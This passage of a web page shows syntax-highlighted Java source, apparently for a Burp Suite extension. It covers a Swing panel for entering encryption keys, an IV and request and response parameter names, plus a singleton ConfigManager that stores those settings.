&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Public Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; publicKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Encrypted Symmetric Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; encSymKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Encrypted IV (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; encIvField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Request Enc Parameter:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextField&lt;&#x2F;span&gt;&lt;span&gt; reqParamField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextField&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(reqParamField, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Response Enc Parameter:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextField&lt;&#x2F;span&gt;&lt;span&gt; respParamField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextField&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(respParamField, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JButton&lt;&#x2F;span&gt;&lt;span&gt; saveButton&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JButton&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Save Configuration&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        saveButton.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;addActionListener&lt;&#x2F;span&gt;&lt;span&gt;(e &lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(privateKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(publicKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(encSymKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(encIvField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(reqParamField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(respParamField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            montoya.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;logging&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;logToOutput&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;[+] Configuration saved successfully&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            JOptionPane.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;showMessageDialog&lt;&#x2F;span&gt;&lt;span&gt;(panel,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Configuration saved!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(saveButton, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; text&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; gbc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; row&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JLabel&lt;&#x2F;span&gt;&lt;span&gt;(text), gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; JTextArea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; defaultValue&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; gbc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; row&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; textArea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextArea&lt;&#x2F;span&gt;&lt;span&gt;(defaultValue,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        textArea.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setLineWrap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JScrollPane&lt;&#x2F;span&gt;&lt;span&gt; scrollPane&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JScrollPane&lt;&#x2F;span&gt;&lt;span&gt;(textArea);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(scrollPane, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; textArea;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; Component&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getComponent&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; panel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;ConfigManager.java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package helpers&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; instance;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; privateKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; publicKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encryptedIvB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encParamReq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encParamResp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getInstance&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (instance &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            instance &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; instance;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
